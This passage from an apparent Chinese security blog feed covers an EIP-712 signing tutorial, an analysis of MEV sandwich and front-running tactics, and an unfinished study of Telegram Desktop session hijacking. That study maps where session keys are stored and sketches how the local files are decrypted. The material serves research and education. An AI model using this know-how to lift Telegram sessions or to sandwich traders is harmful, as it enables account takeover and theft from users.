b. 成员类型可以是原子类型、动态类型或引用类型;
c. 原子类型是 bytes1 到 bytes32、uint8 到 uint256、int8 到 int256、bool 和 address。这些对应于它们在 Solidity 中的定义。请注意，没有别名 uint 和 int。请注意，合约地址始终是纯地址。标准不支持定点数。该标准的未来版本可能会添加新的原子类型;
d. 动态类型是字节和字符串。这些类似于用于类型声明的原子类型，但它们在编码中的处理方式不同;
e. 引用类型是数组和结构。数组要么是固定大小的，要么是动态的，分别用 Type[n] 或 Type[] 表示。结构是通过名称引用其他结构。该标准支持递归结构类型;


NO.3

hashStruct函数定义


hashStruct函数的定义为：
hashStruct(s : Struct) = keccak256(typeHash ‖ encodeData(s))
而typeHash函数为
typeHash = keccak256(encodeType(typeOf(s)))
所以
hashStruct(s : Struct) = keccak256(keccak256(encodeType(typeOf(s))) ‖ encodeData(s))

所以hashStruct函数就是，给定一个Struct，首先将其encodeType进行哈希，并与其encodeData拼接成为一个字符串，最后再对这个字符串进行哈希。

那么接下来就讲解一下什么是encodeType和encodeData。


NO.4

encode Type 函数定义


encodeType函数定义：

encodeType(s : Strcut) = s.name ‖ "(" ‖ s.member₁ ‖ "," ‖ s.member₂ ‖ "," ‖ … ‖ s.memberₙ ")"

其中member = type ‖ " " ‖ name。

举个例子会更清晰点，对上面的 Mail进行encodeType:

encodeType(Mail) = Mail(address from,address to,string contents)

记得成员顺序是根据结构体定义时出现的顺序是一致的。

如果结构体中引用了其它结构体，则将后续引用的结构体按名称排序附加到编码中，例子如下：

Transaction(Person from,Person to,Asset tx)Asset(address token,uint256 amount)Person(address wallet,string name)


NO.5

encode Data 函数定义

encodeData = enc(value₁) ‖ enc(value₂) ‖ … ‖ enc(valueₙ)

编码的成员值按照它们在类型中出现的顺序串联。每个编码的成员值正好是 32 字节长。

编码中对于不同的类型有不同的规定,原子值编码如下：
a. Boolean false 和 true 分别编码为 uint256 值 0 和 1;
b. Address被编码为 uint160;
c. 整数值符号扩展为 256 位并以大端顺序编码;
d. bytes1 到 bytes31 是具有开头（索引 0）和结尾（索引长度 - 1）的数组，它们在 bytes32 的末尾补零并按从头到尾的顺序编码；上面的这些对应于它们在 ABI v1 和 v2 中的编码,即采用abi.encode(value₁, value₂, ..., valueₙ)。动态类型如下：
e. bytes 和 string 类型将会进行keccak256散列；
f. array 先进行encodeData处理，再进行keccak256散列。
所以对encodeData的实现大概如下：
encodeData(s) = abi.encode(a, b, c, keccak256(d), e, keccak256(f))


NO.6

domainSepator 函数定义


‍‍‍domainSeparator 是 EIP712 中非常重要的概念，它的作用主要是保证不同的合约和链上的签名是不同的、隔离的。   

domainSepatator的公式如下：   

domainSeparator = hashStruct(eip712Domain)    

eip712Domain类型是Struct，并具有以下一个或多个字段： 

a. string name, 签名域的名称；   

b. string version，签名域的主要版本，现在都是1；   

c. uint256 chainId;    

d. address verifyingContract, 将要验证该签名的合约； 

e. bytes32 salt。   

需要注意的一点是，eip712Domain 里的成员必须按照上面的顺序，新增字段的添加必须按字母顺序排列并在上述字段之后。 ‍‍‍



四

实例和实现

上面讲了那么多概念和定义，比较干，但这也是必要的。根据定义我们可以写出实现的代码，也是比较简单的。

接下来我会以两种代码形式，一种傻瓜式，一种是简便式。傻瓜式代码适用于不太想去了解各种定义细节，根据合约代码直接构造签名哈希。简便式代码适用于对EIP712比较熟悉的人，根据规则套入变量即可。

以CakeToken的delegateBySig为例，代码如下：

bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");string public name = "PancakeSwap Token";function delegateBySig(        address delegatee,        uint nonce,        uint expiry,        uint8 v,        bytes32 r,        bytes32 s)        external{        bytes32 domainSeparator = keccak256(            abi.encode(                DOMAIN_TYPEHASH,                keccak256(bytes(name())),                getChainId(),                address(this)            )        );
        bytes32 structHash = keccak256(            abi.encode(                DELEGATION_TYPEHASH,                delegatee,                nonce,                expiry            )        );
        bytes32 digest = keccak256(            abi.encodePacked(                "\x19\x01",                domainSeparator,                structHash            )        );
        address signatory = ecrecover(digest, v, r, s);        require(signatory != address(0), "CAKE::delegateBySig: invalid signature");        require(nonce == nonces[signatory]++, "CAKE::delegateBySig: invalid nonce");        require(now <= expiry, "CAKE::delegateBySig: signature expired");        return _delegate(signatory, delegatee);    }

1、傻瓜式代码

主要讲解附在代码注释中了：

from web3 import Web3from eth_account import Accountfrom eth_abi import encode_abiimport jsonimport requestsimport time
w3 = Web3(Web3.HTTPProvider('https://bsc-mainnet.web3api.com/v1/xxxxx'))# contract addrcontract_addr = '0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82'# bscscan abi keyapi_key = 'xxxxxx'# abi urlget_abi_url_temp = 'https://api.bscscan.com/api?module=contract&action=getabi&address={0}&apikey=' + api_key
private_key = 'xxxx'op_account = Account.from_key(private_key)user_addr = op_account.address

def get_contract_abi(contract_address, step=0):    '''    get contract abi from bsc api    :param contract_address:    :param step:    :return:    '''    get_abi_url = get_abi_url_temp.format(contract_address)    try:        res = requests.get(get_abi_url).text        res = json.loads(res)        abi_res = res['result']        return abi_res    except Exception as e:        print(e)

def to_32byte_hex(val):    return Web3.toHex(Web3.toBytes(val).rjust(32, b'\0'))

abi = get_contract_abi(contract_addr)# contract instancecontract = w3.eth.contract(address=contract_addr, abi=abi)
# 过期时间，防止被利用expire_time = int(time.time()) + 600# 防止用户在同一个合约的不同授权出现一样的结果user_nonces = contract.functions.nonces(user_addr).call()chain_id = w3.eth.chain_id# 随便挑选个地址delegation_addr = '0xe2C8f362154aacE6144Cb9d96f45b9568e0Ea721'
# -----------替换开始-----------# 按照合约里的变量赋值DOMAIN_TYPEHASH = Web3.keccak(text="EIP712Domain(string name,uint256 chainId,address verifyingContract)");DELEGATION_TYPEHASH = Web3.keccak(text="Delegation(address delegatee,uint256 nonce,uint256 expiry)")
# 进行abi encodedomain_abi_encode = encode_abi(['bytes32', 'bytes32', 'uint', 'address'], [DOMAIN_TYPEHASH, Web3.keccak(text='PancakeSwap Token'), chain_id, contract_addr]).hex()delegation_abi_encode = encode_abi(['bytes32', 'address', 'uint256', 'uint256'], [DELEGATION_TYPEHASH, delegation_addr, user_nonces, expire_time]).hex()
domain_separator = Web3.keccak(hexstr=domain_abi_encode)struct_hash = Web3.keccak(hexstr=delegation_abi_encode)
# get signable hashmsg = Web3.solidityKeccak(['bytes', 'bytes32', 'bytes32'], [b'\x19\x01', domain_separator, struct_hash]).hex()# -----------替换结束-----------print(msg)# sign the eip712 hashattribDict = w3.eth.account.signHash(msg, private_key=private_key)# 或者使用'''signable_msg = SignableMessage(version=b'\x01', header=domain_seperator, body=struct_hash)attribDict1 = w3.eth.account.sign_message(signable_message=signable_msg, private_key=private_key)'''
r = to_32byte_hex(attribDict['r'])s = to_32byte_hex(attribDict['s'])v = attribDict['v']

print("user_addr: " + user_addr)print("delegation: " + delegation_addr)print("expiry: " + str(expire_time))print("nonces: " + str(user_nonces))print("r: " + r)print("s: " + s)print("v: " + str(v))
# 发送交易unsigned_tx = contract.functions.delegateBySig(delegation_addr, user_nonces, expire_time, v, r, s).buildTransaction({    'gas': 100000,    'gasPrice': w3.toWei('6', 'gwei'),    'nonce': w3.eth.get_transaction_count(user_addr),    'chainId': w3.eth.chain_id})
signed_tx = op_account.sign_transaction(unsigned_tx)tx = w3.eth.send_raw_transaction(signed_tx.rawTransaction).hex()
print("transaction hash: " + tx)
# 获取ecrecover后的签名者并验证是否与签名者相同transaction_log = w3.eth.wait_for_transaction_receipt(tx)signatory = transaction_log.logs[0].topics[1].hex()
print("signatory: " + signatory)

从上述代码可以看出，该代码就是将solidity中的代码复现一遍，好处就是可以按照合约代码来，不需要做过多的理解，坏处就是不直观和繁琐。

2、简便式

利用已经有的 eip712-struct 库安装 eip712-structs。

pip install eip712-structs

使用 eip712-structs 库的代码如下：

from eip712_structs import EIP712Struct, Address, String, Uint, Bytes
class EIP712Domain(EIP712Struct):    name = String()    chainId = Uint(256)    verifyingContract = Address()

# 如果遇到保留关键字作为名称，可以使用：# setattr(Delegation, 'from', Address())# my_struct.values['from'] = user_addrclass Delegation(EIP712Struct):    delegatee = Address()    nonce = Uint(256)    expiry = Uint(256)

my_domain = EIP712Domain(name='PancakeSwap Token', chainId=chain_id, verifyingContract=contract_addr)my_struct = Delegation(delegatee=delegation_addr, nonce=user_nonces, expiry=expire_time)
msg = Web3.keccak(hexstr=my_struct.signable_bytes(my_domain).hex()).hex()

上述代码就能很直接和轻松的获取可签名的msg，将该代码放到傻瓜式代码中的替换处，运行就可获得同样的结果。



五

总结

EIP712是一个用比较简单的方法实现可视化的结构数据签名，使用domainSepatator作为域分割符，让用户在不同的合约、不同的链上签出来的数据是不同的；再在 message 中添加自定义的数据和标识符，让用户知道自己在签署什么，并保证时效和唯一。



参考：
1.https://eips.ethereum.org/EIPS/eip-712
2.https://github.com/ConsenSysMesh/py-eip712-structs    

阅读原文

跳转微信打开

]]> Fri, 10 Jun 2022 18:00:00 +0800 走进区块链的第一步：mev浅析 https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247490054&idx=1&sn=faa8621631fcaf39d7e4b448b2cf2f35 走进区块链的第一步:mev浅析 2022-06-09 18:08 湖南

走进区块链的第一步:mev浅析



前  言


宇宙就是一座黑暗森林，每个文明都是带枪的猎人，像幽灵般潜行于林间，轻轻拨开挡路的树枝，竭力不让脚步发出一点儿声音，连呼吸都小心翼翼……他必须小心，因为林中到处都有与他一样潜行的猎人。如果他发现了别的生命，不管是不是猎人，不管是天使还是魔鬼，不管是娇嫩的婴儿还是步履蹒跚的老人，也不管是天仙般的少女还是天神般的男孩，能做的只有一件事：开枪消灭之？在这片森林中，他人就是地狱，就是永恒的威胁，任何暴露自己存在的生命都将很快被消灭。这就是宇宙文明的图景，这就是对费米悖论的解释。 —— 刘慈欣《三体2：黑暗森林》



在普通的交易者或者区块链使用者来说，区块链世界是美好的，因为它的去中心化机制和加密算法的安全性，以及矿工尽心尽力地打包交易，生产并广播区块，最终完成共识。
但在区块链世界的另一面，存在着一片深不可测的黑暗森林，在那里，无数的猎人都在静静地等待猎物的到来，并且悄无声息地完成猎杀。
这片黑暗森林指的就是区块链中的memory pool，这里存放着所有尚未被打包入区块的交易，而猎人就在这茫茫的交易中寻找到可以获取到利润的交易，并毫无情面的掠夺它。
正所谓天下武功唯快不破，在区块链的黑暗森林中，猎人之间的竞争只取决于两个字：速度，谁能够更快的找到有利润的交易，并且提供给矿工完成区块打包并上链，谁就能够获取到这笔利润。
因此，普通的交易者可以被看做是猎物，猎人则指的是在memory pool或者区块链中寻找利润的掠夺者，而矿工在某种意义上可以认为是上帝的存在（他们是最终决定交易的人）。


1



概述



MEV（Maximal extractable value）这个概念最早被用于POW网络中，特指矿工在生产新的区块时所能够得到的最大收益。

矿工生产区块所产生的收益一般来说，来源于区块奖励和gas费用，而矿工可以通过调节交易在区块中的顺序，尽可能地将gas price较高的交易放在区块的前面，从而获取最大的收益。

而在POS网络中，矿工的角色转变为了验证者，但MEV这个名词被保留了下来，并且拓展其含义为“最大可提取价值”（Maximal Extractable Value）。

在MEV这个概念中，存在三种角色，分别为搜索者（Searcher），矿工（Miner）和普通的交易者。搜索者会设计特定的金融模型，在区块链中寻找任何可能可以盈利的地方（DeFi，Dex等）来获取一笔利润。

矿工也可以分得一部分利润，因为搜索者会通过设置更高的gas price来将他们的交易尽可能早地纳入到区块链中（Gas Price Acution）。

普通的交易者在MEV中则获取不到任何的利润，反而可能会因为搜索者互相设置更高的gas price，而导致交易迟迟无法上链，不得已也提高gas price，最终导致以太坊的阻塞（互相内卷）。



为了缓解这样的问题持续在以太坊链上影响着正常的交易者，以太坊的开发者提出了很多方案，其中最著名的就是EIP-1559提案。



在EIP-1559提案中大幅度地调整了gas的收取机制，几个关键点：

  • 引入了基础手续费（Base Fee）概念，计算规则为：如果上一个区块所消耗的gas limit如果使用超过一半，则提高下一个区块的Base Fee，最多提升12.5%。反之，则降低下一个区块的Base Fee，最多减少12.5%。

  • 引入燃烧的概念，燃烧的数量为Base Fee * gas used ETH、

  • 矿工能获取到的费用：

    Min( Max fee - Base fee, Max priority fee)

因此，在 EIP1559 的规则之下，矿工失去了对 gas 费的定价权：如果他们只打包少量高 gas 的交易导致区块容量不满一半，以太坊系统就会减少 Base fee，降低用户的使用费用。



在MEV套利中，主要包含套利（Arbitrage），清算（Liquidation），抢跑（Front run），被跑（Back run），三明治机器人（Sandwich trading）等多种模式。





套  利





理论上，套利是一种无风险的交易，但在实践中大多数套利都是统计套利，即计算交易获利的概率和损失的概率。
套利交易的风险始终存在，轻微的风险包括成交价格的滑点误差减少了利润，严重的风险包括给标的物定价的货币币值大幅波动、经济基本面急剧变化导致原有的比价规律不复存在。
套利在传统金融中最常见的存在于商品之间，并且在汇率，股市以及金融衍生品等任何可能存在价差的地方，均可以进行套利。
而在区块链的世界中，最常见的套利模型有“cex-dex”和“dex-dex”。cex-dex主要是交易所与swap中存在价差，对于同一个交易对来说，当交易所的价格高于swap的价格时，可以通过在swap进行买入，并在交易所进行卖出来获取利润。
同样的，当交易所的价格低于swap价格时，可以通过在交易所进行买入，并在swap中进行卖出来获取利润。
dex-dex则关注两个不同的swap中的价差，比如以太坊链上的uniswap和sushiswap。
对于同一个交易对来说，只要swap之间存在价差，那么就可以通过在价格较低的swap中进行买入，在价格较高的swap中进行卖出来获取利润。
不同于传统金融的套利模式，dex-dex套利模型中还可以使用闪电贷（flash loan）或者闪电兑（flash swap）这样类似的金融服务来成倍的放大价差所产生的利润，只要计算好每一步的手续费和价差的关系，就可以真实地做到“无本万利”。
下图则是一个利用aave的闪电贷在uniswap和sushiswap对WETH/DAI交易对进行套利的过程：



详细步骤如下：
  • 从aave的池子中闪电贷出1000 WETH
  • 在uniswap中将1000 WETH换成1,293,896.750455517300702289 DAI
  • 在sushiswap中将1,293,896.750455517300702289 DAI换成1,045.621665215839804691 WETH
  • 将借出的1000 WETH进行归还，并支付小部分的手续费
  • 完成获利，最终获利45 WETH
套利是一种友好的行为，因为套利者会在dex之间不断地进行买卖操作来赚取其中价差所导致的利润，这会使得dex之间的价差维持在很小的一个变化范围，从而保证了dex的良好运转。





抢  跑





顾名思义，抢跑（Front run）就是在目标交易之前进行交易来获取其中的利润，目标交易可以是一些能够触发价格变化的事件，比如在swap中新增了某个币种的流动性。
抢跑的方法也很简单，通过设置比目标交易略高的gas price可以使得searcher的交易紧跟在目标交易之前。
抢跑有很多种获取利润的方式，其中有一种套利方法与背跑类似，主要的思路也为低买高卖。
还有一种操作是通过监控swap中新增币种的池子，在所有人之前先进行抢跑获取一定的token。
当池子比较浅时，这样的做法会显著的提高token的价格，后序的交易者则需要承受更高价格来购买token，抢跑者在合适的价格后再将token卖出，获取利润。（详细例子可见uniswap上WTF/WETH的抢跑攻击）
不过抢跑这种操作会对后序的交易者带来金额上的损失，让区块链的环境变得更加恶劣。





背  跑






背跑（Back run）就是在目标交易之后紧接着进行交易来获取其中的利润，目标交易可以是大单的交易，也可以是预言机更新。
背跑的方法也很简单，通过设置比目标交易略低的gas price可以使得searcher的交易紧跟在目标交易之后。
举个例子，此时searcher在memory pool中发现了一笔在uniswap上将USDT换成WETH的swap交易，由于数额巨大，该交易如果完成，将会显著抬高WETH/USDT池子中的USDT价格，和其它的Dex(比如Curve)出现价差。
searcher会在它之后，在Uniswap和Curve之间进行套利。由于Uniswap中USDT的价格比Curve中要高，所以searcher低买高卖，获得更多了WETH，除去本金以及交易成本，获得利润。这其实是最原始的套利模型，只是加上了价格的预测机制。
背跑交易是一种聪明且取巧的行为，它不会对目标交易造成任何的影响，searcher只是抢在了其他人前面抓住了获利的机会。





清  算






清算是DeFi借贷协议中不可缺少的一环。借贷协议提供了一种以去中心化方式连接借方（Lenders）和贷方（Borrowers） 的平台，一方面，它允许贷方从平台借贷数字加密货币并支付利息，另一方面它允许储户向平台存入数字加密货币以赚取利息。



为什么使用借贷平台？


借贷平台的可操作性十分高，其中常见的一个操作是使用交易者进行杠杆交易。比如说，现在有一个投资者手上有AAVE，并且它在近期有向上涨的趋势，同时投资者还看好UNI，认为它在近期也有向上涨的趋势，又不想卖出AAVE来买入UNI。那么此时就可以将AAVE进行抵押，从借贷平台中借出一些ETH出来进行投资。在等到适当的时机后，将UNI卖出换成ETH，并将一部分的ETH还给借贷平台拿回AAVE。



为了减轻风险，借贷协议一般采取超额抵押的模式，要求必须要有150%以上价值的抵押品，这能够保证在抵押品跌至低于贷款价值之前留有足够的缓冲空间。
如果此时借出资产的价值上升，或者抵押品的价值下跌，而借款人没有及时的存入更多抵押品，那么就会面临清算。衡量是否会被清算的值叫健康度，健康度计算公式为：抵押资产总价值 / 借出资产总值。
在区块链世界中，借贷协议由智能合约来实现。由于智能合约的特性，在合约层面无法自动进行清算，只能提供执行清算的入口函数，供外部程序调用，调用清算函数的外部程序也被称为清算人。
清算人的主要任务是在市场中寻找健康度低于1的账户（underwater accounts），执行清算函数，获取利润（liquidation incentive）。
如何能够更快的发现利润高，且需要被清算的账户，是在清算竞争中赢得其他竞争者的关键。
在清算中，主要利用两种竞速的机制：gas拍卖和背跑。




gas拍卖（Gas Auction）
gas拍卖主要是设置更高的gas price，以此能够跑赢竞争者，获取清算的利润。
 
 
在  0x35e334927757c618a1702d3bd618b735d6b249a3a5d56ff1bc638375d1ce7db6这笔清算中，清算人使用了8,898.471487863 Gwei（约8 ETH）来获得清算的优先权，清算得到的收益为25 ETH，最终获利约17 ETH。
背跑（Back run）
背跑主要是监控了触发清算的事件，比如价格预言机的价格更新，然后尽可能地抢在事件之后立刻进行清算。

 

 

在0x61247978224b2742375399c6c6c3bbe7c0aa9245ac3c9ae154fdeca026158f2f这笔清算中，清算人在价格预言机更新DAI/ETH价格之后（0xf3753b1870098694e6bf3d0e01a0205fe2d24b6d0d9dcd1fd6ad281b7e2b2e5b），紧接着发起了清算，抢在其他人面前获取到了清算的利润（6.49 ETH）。
仔细观察一下这个表格，可以发现从5个不同的清算人总共发起了12笔清算的尝试，有两笔交易甚至还发生在预言机更新价格之前。这有点像堆喷射技术，在各个地方都插入交易来尝试进行清算。





三明治交易





三明治交易是另一种常用的获取MEV的方法，他是一种把抢跑和背跑结合在一起的套利方式。
具体来说，在进行三明治交易之前，searcher需要实时地监控memory pool，寻找dex上准备进行大笔金额的交易。
比如，此时某个用户打算在uniswap上使用DAI来换取10,000 UNI，这样大量兑换UNI的操作，势必会对UNI/DAI池子有一定的影响，从而导致价格的变化，在这里UNI的价格会上涨。
那么searcher就可以在用户交易前先买入UNI，等待用户的交易完成后（UNI价格上涨），紧随其后立刻卖出UNI，从中挣取利润。
而利润的根源在于用户进行swap时设置的滑点，当轮到受害者进行交易时，虽然此时的价格相比于用户想要的价格稍高，但是因为滑点的存在，交易不会被撤回，用户仍然能够完成交易，只不过会承受更多滑点所造成的损失。
因此三明治交易在某种意义上是对普通用户的一种攻击。
下图呈现了两种比较典型的三明治攻击方法，左图是以交易者的身份进行攻击，右图是以流动性提供者的身份进行攻击。



在现实的区块链世界中，searcher一般由机器人来充当。它们主要职责就是，在区块链上搜索可能存在MEV的交易，并自动化地进行三明治交易。

需要注意的是：

  • 只要进行UNI买入操作，就会提高UNI的价格。机器人需要精心计算第一步买入操作时买入的数量，使得受害者进行交易时的价格不会高于最大滑点的价格，否则受害者的交易会被撤回，导致攻击失败。
  • 机器人容易受到恶意token的攻击。最有名的就是沙门氏菌攻击，攻击者在设置好恶意token和合约后，通过一步步设置陷阱诱导机器人进行三明治交易，最终从机器人手中获取了130 ETH。
  • 相比于套利模型，三明治攻击不具有原子性。三明治攻击需要多笔交易来完成，并且还需要控制交易的顺序，这无形中增加了很多风险和不确定性。

下图是一个在bsc链的pancakeswap上利用机器人进行三明治攻击的过程：


•机器人在检测到当前有一笔在pancakeswap上进行swap的交易
•机器人通过设置较高的gas price，抢先在交易者前以$0.1516买入一部分的token
•受害者以$0.1532完成进行swap交易
•机器人紧接着在交易者之后以$0.1534将买入的token卖出，最终赚取0.8939-0.8836=0.0103 BNB


交易详情：

机器人买入操作：
0xab7951bddd2613fec8f82a07b6bac05a8cfec2d489c1a02e2fc5a75d7205b31b
。gas price：32.355903976 Gwei
。position：0

交易者正常交易：
0x5e6ca0ffc44c3d2edaa478ade7873d6b49f98fff4ca5d0679e425f49d0a99377
。gas price：22.503153478 Gwei
。position：2

机器人卖出操作：
0xe4bf63626bf6a35f57b99ebae6a58e68dfc92eab358954622521f92d634adda9
。gas price：5.000000001 Gwei
。position：37

这里机器人在进行卖出时，略微的将gas price提高了0.000000001 Gwei（当前bsc链上标准gas price为5 Gwei），这会使得这笔交易能够跑赢大部分（没有特意修改gas price）的交易。



2



缓解方案




许多人都在致力于为了减轻MEV所带来的负面影响，保障交易者的利益，使得MEV收入能够更加的民主化，公开和透明。其中，使用最广泛的有以太坊上的flashbots服务。





flashbot






MEV带来的负面影响的根本原因在于：交易在被打包上链前会在memory pool中以pending的形式存在，而所有人都能够查询memory pool内的交易。

因此，flashbot通过定制化的mev-geth，使得交易者能够直接与矿工进行交互，不再经过memory pool，把交易的内容发送给矿工进行打包和上链。



flashbot提供的这类服务叫做隐私交易（Private Transaction），在etherscan上有对应的标签来标识这笔交易是否是隐私交易。



因为此时区块内交易不再是根据gas price来进行排序的，所以区块上也对应有一个标签（Unconventional Ordering）。



flashbot还提供了sendbundle的服务，这个服务能够将多个交易按照交易者所需要的顺序执行，并且支持在memory pool中的交易。

具体的使用方法和详细的说明文档可以参考：https://docs.flashbots.net/。

flashbot为什么有这样的服务，实际需求有多少不得而知。

但是，这在某种意义上给三明治机器人提供了巨大的便利，sendbundle这个服务解决了三明治攻击在实际操作的过程中遇到的交易顺序难以确定的问题。

三明治机器人只需要监控memory pool中可以进行攻击的交易，并将这笔交易的哈希与自己的交易（抢跑和背跑）打包发给flashbot的矿工，即完成一次三明治攻击。

通过Arbitrage Scan平台可以看到链上进行三明治攻击的具体步骤，其中大部分都是通过flashbot来完成交易的。





NodeReal





在bsc链上也拥有和flashbot一样类似的服务（direct route），这个服务由NodeReal验证节点提供，具体可以参考：https://directroute.nodereal.io/。
目前，direct route服务目前有3个验证节点，占14%（3/21），上链速度一般。






参考资料



  •   Mev
https://ethereum.org/en/developers/docs/mev/
https://www.paradigm.xyz/2020/08/ethereum-is-a-dark-forest
https://rekt.news/return-to-the-dark-forest/
https://arxiv.org/pdf/2009.14021.pdf
  •   Frontrun
https://medium.com/flashbots/frontrunning-the-mev-crisis-40629a613752
https://medium.com/beaver-smartcontract-security/defi-security-lecture-8-front-running-attack-3247045dd9cd
  •   Sandwich
https://hackmd.io/@norswap/mev
https://medium.com/coinmonks/defi-sandwich-attack-explain-776f6f43b2fd
https://hackernoon.com/no-sandwich-please-popular-defi-attack-strategy-analysis-jk1734rf
  •   Liquidation
https://gerhard-wagner.medium.com/the-defi-liquidation-game-aaef5c0b903d
https://medium.com/dragonfly-research/liquidators-the-secret-whales-helping-defi-function-acf132fbea5e




阅读原文

跳转微信打开

]]> Thu, 09 Jun 2022 18:08:00 +0800 Telegram session劫持探索 https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247484453&idx=1&sn=397e9bc07219a48b45b83b8bb7984b3a Telegram seession劫持的相关探索~ 原创 零鉴科技 2022-01-20 15:47

Telegram seession劫持的相关探索~







Telegram session

劫持探索

零鉴科技


×

本文主要以telegram desktop源码作为起点，对其用户文件和认证过程进行学习和探索，从而更好的理解session劫持内部的机理。




文件结构


目录结构

Telegram用户数据一般存放在与telegram.exe同目录下的tdata文件夹内。

一个有效的telegram登录用户的目录结构如下：

.├── 3241E7577682E411s├── D877F783D5D3EF8C│   ├── 5DFE1B025533CC34s│   ├── 80EB1923C860B053s│   ├── 83481FA7DFF31E68s│   ├── 9710392255F6037Es│   ├── 9DD9F15BEB962075s│   ├── configs│   └── maps├── D877F783D5D3EF8Cs├── ED5F06835F0E7386s├── countries├── dumps├── emoji│   ├── ...├── key_datas├── prefix├── settingss├── shortcuts-custom.json├── shortcuts-default.json├── user_data│   ├── cache│   │   └── 0│   │       ├── 00│   │       │   ├── 1868D6DC9582│   │       │   └── EFB0CD60440D│   │       ├── ...│   │       └── binlog│   └── media_cache│       ├── 0│       │   ├── 00│       │   │   └── 1A7B91AEEBD8│       │   ├── 01│       │   ├── ...│       │   └── binlog│       └── version└── usertag

可以看到，大部分文件可以通过文件名来间接的了解文件内部数据所代表的的含义，但仍有一部分文件名由数字+字母（A~F）构成，比如：D877F783D5D3EF8C，并且telergram的大部分文件的内容为不可读的二进制数据。因此在这里通过阅读源码的方式来探索文件名的含义，从而进一步了解telegram文件的数据构成和登录session的存储位置。

数据文件


A.文件结构

Telegram/SourceFiles/storage/details/storage_file_utilities.cpp:ReadFile()函数中可以很清楚的看到telergram读取文件的逻辑。数据文件主要分为四个部分，依次为魔数，版本号，加密数据和签名，其中魔数占据文件的前四个字节，固定为TDF$（telegram desktop file），版本号占据后四个字节（当前为0x002dd278 = 3003000 = v3.3.0），接下来是加密数据，最后文件末尾为16个字节的签名。



在每次读取文件时，telegram会通过计算“加密数据 + 版本号 + 魔数”的md5值来验证数据的完整性。若计算的结果与文件末尾的签名不一致，则跳过对当前文件的读取。

Telegram/SourceFiles/storage/details/storage_file_utilities.cpp:ReadFile() {   // ...  // check signature  HashMd5 md5;  md5.feed(bytes.constData(), dataSize);  md5.feed(&dataSize, sizeof(dataSize));  md5.feed(&version, sizeof(version));  md5.feed(magic, TdfMagicLen);  if (memcmp(md5.result(), bytes.constData() + dataSize, 16)) {    DEBUG_LOG(("App Info: bad file '%1', signature did not match"              ).arg(name));    continue;  }  // ...}

telegram对部分文件有独特的命名方法，具体在Telegram/SourceFiles/storage/details/storage_file_utilities.cpp:GenerateKey()函数中进行定义。

GenerateKey()生成了一个类型为quint64的随机数，接着调用ToFilePart()函数对随机数进行转换。

FileKey GenerateKey(const QString &basePath) {  FileKey result;  QString path;  path.reserve(basePath.size() + 0x11);  path += basePath;  do {    result = base::RandomValue<FileKey>(); // using FileKey = quint64;    path.resize(basePath.size());    path += ToFilePart(result);  } while (!result || KeyAlreadyUsed(path));  return result;}

ToFilePart()函数使用& 0x0f操作来获取val的最后一个字节，并转换为16进制的字符形式，通过循环16次来得到长度为16，由数字+字母（A~F）构成的字符串。

QString ToFilePart(FileKey val) {  QString result;  result.reserve(0x10);  for (int32 i = 0; i < 0x10; ++i) {    uchar v = (val & 0x0F);    result.push_back((v < 0x0A) ? ('0' + v) : ('A' + (v - 0x0A)));    val >>= 4;  }  return result;}



B.数据解密


DecryptLocal()函数是telegram用来进行数据加密的主要函数，使用的是1978年由Campbell提出的AES-IGE(Infinite Garble Extension)加密模式对数据进行加密，主要步骤如下：

调用prepareAES_oldmtp()函数，使用localKey和messageKey生成aesKey ->  调用aesIgeDecryptRaw()函数，使用aesKey来解密数据 ->    使用SHA1算法校验数据的完整性

python的伪代码如下：

decrypted = decryptLocal(mapEncrypted, localKey)
def decryptLocal(encrypted, key):    encryptedKey = encrypted[:16]    decrypted = aesDecryptLocal(encrypted[16:], key, encryptedKey)
    digest = sha1(decrypted)[:16]    if digest != encryptedKey:        raise ValueError('App Info: bad decrypt key, data not decrypted')  def aesDecryptLocal(src, authkey, key128):    aesKey, aesIV = prepareAES_oldmtp(authkey, key128)
    dst = bytearray(len(src))    buffer = ffi.from_buffer(dst)    ffi_openssl.aesIgeDecryptRaw(src, buffer, len(src), aesKey, aesIV)

这里就不花费篇幅贴源代码了，感兴趣的同学可以关注storage_file_utilities.cpp, mtproto_auth_key.h, mtproto_auth_key.cpp 这三个文件，加密的逻辑都在这里了（最终调用的是openssl的加解密接口）。

最后，telegram对于加密文件的解析（storage_file_utilities.cpp: ReadEncryptedFile()）主要进行了以下三步操作：

调用ReadFile()函数获取加密数据 ->   调用DecryptLocal()函数，使用localkey解密加密的数据 ->    解析明文数据，进行序列化等操作


缓存文件

telegram的缓存文件存储在tdata/user_data/目录下，其中体积较小的文件放在cache目录，体积较大的文件则放在media_cache目录下。缓存文件使用PlaceFromId()函数生成随机的文件名，这个函数与GenerateKey()函数的处理逻辑基本一致，区别在于生成的文件名长度为14，并且前两个字节作为上层的文件名，以此来对缓存文件进行分类。

PlaceFromId()的代码如下：

// https://github.com/desktop-app/lib_storage/blob/master/storage/cache/storage_cache_database_object.cppQString PlaceFromId(PlaceId place) {  auto result = QString();  result.reserve(15);  const auto pushDigit = [&](uint8 digit) {    const auto hex = (digit < 0x0A)      ? char('0' + digit)      : char('A' + (digit - 0x0A));    result.push_back(hex);  };  const auto push = [&](uint8 value) {    pushDigit(value & 0x0F);    pushDigit(value >> 4);  };  for (auto i = 0; i != place.size(); ++i) {    push(place[i]);    if (!i) {      result.push_back('/');    }  }  return result;}
// 示例：// std::array<uint8_t, 7> place = {1, 2, 3, 4, 5, 6, 7};// PlaceFromId(place) = "11/223344556677"

A.文件结构

telegram缓存文件的文件结构如图：



缓存文件分为三个部分，依次为魔数，基础头信息（Basic Header）和加密数据。其中魔数占据文件的头4个字节，固定为TDEF（Telegram Desktop Encrypted File的缩写），Basic Header是一个结构体，定义在storage/cache/storage_encrpted_file.cpp中，占据64 + 16 + 32个字节。

constexpr auto kSaltSize = size_type(64);constexpr auto kSha256Size = size_type(32);
struct BasicHeader {  bytes::array<kSaltSize> salt = { { bytes::type() } };  uint32 format : 8; // 位域  uint32 reserved1 : 24;  uint32 reserved2 = 0;  uint64 applicationVersion = 0;  bytes::array<openssl::kSha256Size> checksum = { { bytes::type() } };};


B.数据解密

